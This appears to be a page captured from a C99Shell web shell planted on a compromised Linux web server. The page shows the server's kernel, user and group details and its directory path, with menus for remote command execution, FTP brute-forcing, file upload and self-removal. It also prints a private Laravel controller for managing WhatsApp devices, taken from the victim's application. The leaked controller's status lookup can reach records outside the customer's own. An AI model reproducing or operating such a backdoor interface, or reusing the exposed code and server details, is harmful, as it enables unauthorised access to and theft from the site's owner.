!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WADeviceController.php (7.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Device;
use 
App\Models\Label;
use 
App\Models\MessageLog;
use 
Illuminate\Http\Request;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Validator;
use 
Str;

class 
WADeviceController extends Controller
{
    public function 
index(){
        return 
view('customer.wadevice.index');
    }

    public function 
getAll(){
        
$customer auth('customer')->user();
        if(
$customer->type=='staff'){
            
$customer=$customer->staff;
        }

        
$devices $customer->devices()->where('device_type','whatsapp')->withCount(['sent_messages']);
        return 
datatables()->of($devices)
            ->
addColumn('total_sent_message',function($q){
                return 
$q->sent_messages_count;
            })
            ->
addColumn('status',function ($q){
                if (
$q->status=='active'){
                    return 
'<span class="text-sm badge bg-success">Online</span>';
                }elseif(
$q->status=='inactive'){
                    return 
'<span class="text-sm badge bg-danger">Offline</span>';
                }
            })
            ->
addColumn('action',function(Device $q) use($customer){
                
$btn='';
               
$user=auth('customer')->user();
               if(
$user->type=='staff') {
                   if (
$user->hasPermissionTo('device_edit')) {
                    
$btn '<div class="btn-group">
                            <button type="button" class="btn btn-success rounded" data-toggle="dropdown" aria-expanded="false">
                                <i class="fas fa-ellipsis-v"></i>
                            </button>
                            <div class="dropdown-menu" role="menu" style="">

                            <a class="dropdown-item"  href="' 
route('customer.wadevice.edit', [$q]) . '" >Edit</a>
                            </div>
                        </div>'
;
                   }

                   if (
$user->hasPermissionTo('device_delete')) {
                    
$btn '<div class="btn-group">
                                        <button type="button" class="btn btn-success rounded" data-toggle="dropdown" aria-expanded="false">
                                            <i class="fas fa-ellipsis-v"></i>
                                        </button>
                                        <div class="dropdown-menu" role="menu" style="">
                                        <button class="btn btn-sm btn-danger" data-message="Are you sure you want to remove this device?"
                                        data-action=' 
route('customer.wadevice.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>
                                        </div>
                                    </div>'
;
                   }
               }else{
                
$btn '<div class="btn-group">
                <button type="button" class="btn btn-success rounded" data-toggle="dropdown" aria-expanded="false">
                    <i class="fas fa-ellipsis-v"></i>
                </button>
                <div class="dropdown-menu" role="menu" style="">

                <a class="dropdown-item"  href="' 
route('customer.wadevice.edit', [$q]) . '" >Edit</a>
                    <button class="dropdown-item" data-message="Are you sure you want to remove this device?"
                    data-action=' 
route('customer.wadevice.destroy', [$q]) . '
                    data-input={"_method":"delete"}
                    data-toggle="modal" data-target="#modal-confirm">Delete</button>
            </div>
        </div>'
;
               }

                return 
$btn ;
            })
            ->
rawColumns(['status','action'])
            ->
toJson();
    }

    public function 
create(){
        
$customer auth('customer')->user();
        if(
$customer->type=='staff'){
            
$customer=$customer->staff;
        }
        if(
auth('customer')->user()->type=='staff' && !$customer->hasPermissionTo('device_add')){
            return 
abort('404');
        }

        return 
view('customer.wadevice.create');
    }

    public function 
store(Request $request){

        
$validator Validator::make($request->all(), [
            
'name' => 'required|unique:devices'
        
]);

        if (
$validator->fails()) {
            return 
response()->json(['message' => $validator->errors()->messages()], 400);
        }

        
$customer auth('customer')->user();

        
$currentPlan $customer->currentPlan();
        if (isset(
$currentPlan->renew_date) && $currentPlan->renew_date Carbon::now()){
            return 
response()->json(['message' => 'Your Plan has expired'], 400);
        }

        
$devices Device::where('customer_id',$customer->id)->where('device_type''whatsapp')->count();
        if ((
$devices) >= $currentPlan->wa_device_limit) {
            return 
response()->json(['message' => 'Your have extended your Device limit'], 400);
        }

        
$device = new Device();
        
$device->customer_id $customer->id;
        
$device->name $request->name;
        
$device->device_unique_id Str::random();
        
$device->status "inactive";
        
$device->device_type $request->type;
        
$device->save();
        return 
response()->json(['message' => 'Device successfully added','data'=>['device_unique_id'=>$device->device_unique_id,'name'=>$device->name]], 201);
    }


    public function 
edit(Device $wadevice){
        
$data['device']=$wadevice;

        if(
auth('customer')->user()->type=='staff' && !auth('customer')->user()->hasPermissionTo('device_edit')){
            return 
abort('404');
        }
        return 
view('customer.wadevice.edit'$data);
    }

    public function 
update(Device $wadevice,Request $request){

        
$request->validate([
            
'name'=>'required'
        
]);

        if(
auth('customer')->user()->type=='staff' && !auth('customer')->user()->hasPermissionTo('device_edit')){
            return 
abort('404');
        }

        
$wadevice->update($request->only('name'));

        return 
redirect()->route('customer.wadevice.index')->with('success''Device successfully updated');
    }

    public function 
status(Request $request){
        
$id$request->id;
        
$status$request->status;
        
$request->validate([
            
'status'=>'required|in:active,inactive'
        
]);

        
$customer auth('customer')->user();
        if(
$customer->type=='staff'){
            
$customer=$customer->staff;
        }

        
$device $customer->devices()->where('device_unique_id'$id)->orWhere('id',$id)->firstOrFail();
        
$device->status$status;
        
$device->save();

        if(
$request->ajax()){
            return 
response()->json(['message' => 'Device status successfully changes']);
        }
        return 
redirect()->route('customer.wadevice.index')->with('success''Device status successfully changes');
    }

    public function 
destroy(Device $wadevice){
        
$customer auth('customer')->user();
        if(
$customer->type=='staff'){
            
$customer=$customer->staff;
        }

        if(
auth('customer')->user()->type=='staff' && !auth('customer')->user()->hasPermissionTo('device_delete')){
            return 
abort('404');
        }

        if (
$customer->id != $wadevice->customer_id){
            return 
abort(404);
        }
        
$wadevice->delete();

        return 
redirect()->route('customer.wadevice.index')->with('success''Device successfully deleted');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--